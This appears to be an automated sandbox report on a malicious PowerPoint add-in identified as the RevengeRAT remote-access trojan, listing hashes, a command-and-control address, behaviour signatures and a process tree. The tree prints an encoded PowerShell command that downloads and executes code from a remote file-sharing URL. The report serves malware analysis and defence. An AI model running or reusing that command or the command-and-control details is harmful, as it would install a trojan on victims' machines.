Analysis

  • max time kernel
    278s
  • max time network
    357s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    07-05-2023 07:41

General

  • Target

    Documentaoeembarque.ppam

  • Size

    27KB

  • MD5

    d90141316834a63ece99172d1d68da4b

  • SHA1

    e248a750c497da19e29611c9ae1ecca67171276a

  • SHA256

    386654272e99d7f01809047f83e118043b42ab72faa3171bdb8fbb94998627c4

  • SHA512

    3b2984e89b4633a574784015e6ce615f4c081b39549bc4fc5fcfcb4ce577dfca0babc3a22778590805947db6bbaac55ce95ed2e872674d26165ef3f857a6c72d

  • SSDEEP

    768:VPXOXyAlkygx6BI2/fvgTd1M+L+/f76g40AFBF:V/OXyivI2O1M+WjL4HF

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

b2b.ddns.com.br:5222

Mutex

d9261ef3301b4b86a95

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 2 IoCs
  • Process spawned suspicious child process 1 IoCs

    This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

  • Suspicious use of SetThreadContext 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Documentaoeembarque.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:520
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:320
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADMAOAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8ANQAtAGgAZQBUAGYAMwBEAC8ARgBhAGMAawAuAGoAcABnAD8AZABzAGkAZAA9AEkANQBQAGEAQQBhAEoAYgAuAGIANQBhAGUANgAzAGIAMAAxADUAMQBhAGIAZgAyAGUAMgA0AGUANwBhAGMAMABjAGUANAA5ADQAZQAzADUANQAmAHMAYgBzAHIAPQBhADEAYwA2AGEANAAwAGEANAA3ADUAOQA5ADMANwA3ADcAMwA0AGIAOQBhADMAZAA3AGMAOQA5AGMAYQA2AGIAYQBkADYAJgBiAGkAcAA9AE0AagBBAHgATABqAEkAdwBMAGoARQB5AE4AeQA0AHkATQBEAGcAJgBsAGcAZgBwAD0ANAAwAA0ACgAnACkAOwAgAA0ACgBIAGkAaQBlAGMAeQBQAHQAZABvAGYAQQBuAHIADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1600
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
            PID:1716
        • C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE
          "C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE" -x -s 1368
          2⤵
          • Process spawned suspicious child process
          • Suspicious use of WriteProcessMemory
          PID:1960
          • C:\Windows\SysWOW64\dwwin.exe
            C:\Windows\system32\dwwin.exe -x -s 1368
            3⤵
              PID:1936

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Defense Evasion

        Modify Registry

        1
        T1112

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\7402419.cvr
          Filesize

          712B

          MD5

          ae50bfc9fe5b4066746a26138b76cb31

          SHA1

          3b4effbfb1e788a52024916436b80aeeaf0ef9b7

          SHA256

          0632a3f56091fe3b55a54368391ee77b9b63b8e01024f19f809ff8690454d9c9

          SHA512

          f9543219cf66c0558cfdfca8eea39150f85db78775dc785b822b8a4f1e86166f7198d3c2f8708b4f539ffc2f15790dd4905ebd0cbe6815f43d044774f9a532f8

        • memory/520-54-0x000000005FFF0000-0x0000000060000000-memory.dmp
          Filesize

          64KB

        • memory/520-58-0x0000000000670000-0x0000000000770000-memory.dmp
          Filesize

          1024KB

        • memory/520-59-0x0000000005500000-0x0000000005600000-memory.dmp
          Filesize

          1024KB

        • memory/520-60-0x0000000005500000-0x0000000005600000-memory.dmp
          Filesize

          1024KB

        • memory/1600-68-0x0000000002640000-0x0000000002680000-memory.dmp
          Filesize

          256KB

        • memory/1600-65-0x0000000002640000-0x0000000002680000-memory.dmp
          Filesize

          256KB

        • memory/1600-108-0x0000000002370000-0x0000000002371000-memory.dmp
          Filesize

          4KB

        • memory/1600-66-0x0000000002640000-0x0000000002680000-memory.dmp
          Filesize

          256KB

        • memory/1600-69-0x0000000002640000-0x0000000002680000-memory.dmp
          Filesize

          256KB

        • memory/1600-70-0x0000000002640000-0x0000000002680000-memory.dmp
          Filesize

          256KB

        • memory/1600-88-0x0000000002330000-0x0000000002348000-memory.dmp
          Filesize

          96KB

        • memory/1600-89-0x0000000002330000-0x0000000002348000-memory.dmp
          Filesize

          96KB

        • memory/1600-91-0x0000000002330000-0x0000000002348000-memory.dmp
          Filesize

          96KB

        • memory/1600-93-0x0000000002330000-0x0000000002348000-memory.dmp
          Filesize

          96KB

        • memory/1600-95-0x0000000002330000-0x0000000002348000-memory.dmp
          Filesize

          96KB

        • memory/1600-97-0x0000000002330000-0x0000000002348000-memory.dmp
          Filesize

          96KB

        • memory/1600-99-0x0000000002330000-0x0000000002348000-memory.dmp
          Filesize

          96KB

        • memory/1716-104-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
          Filesize

          4KB

        • memory/1716-101-0x0000000000400000-0x000000000040A000-memory.dmp
          Filesize

          40KB

        • memory/1716-102-0x0000000000400000-0x000000000040A000-memory.dmp
          Filesize

          40KB

        • memory/1716-100-0x0000000000400000-0x000000000040A000-memory.dmp
          Filesize

          40KB

        • memory/1716-103-0x0000000000400000-0x000000000040A000-memory.dmp
          Filesize

          40KB

        • memory/1716-105-0x0000000000400000-0x000000000040A000-memory.dmp
          Filesize

          40KB

        • memory/1716-107-0x0000000000400000-0x000000000040A000-memory.dmp
          Filesize

          40KB

        • memory/1716-110-0x0000000000400000-0x000000000040A000-memory.dmp
          Filesize

          40KB

        • memory/1716-111-0x0000000004AA0000-0x0000000004AE0000-memory.dmp
          Filesize

          256KB

        • memory/1936-67-0x0000000000270000-0x0000000000271000-memory.dmp
          Filesize

          4KB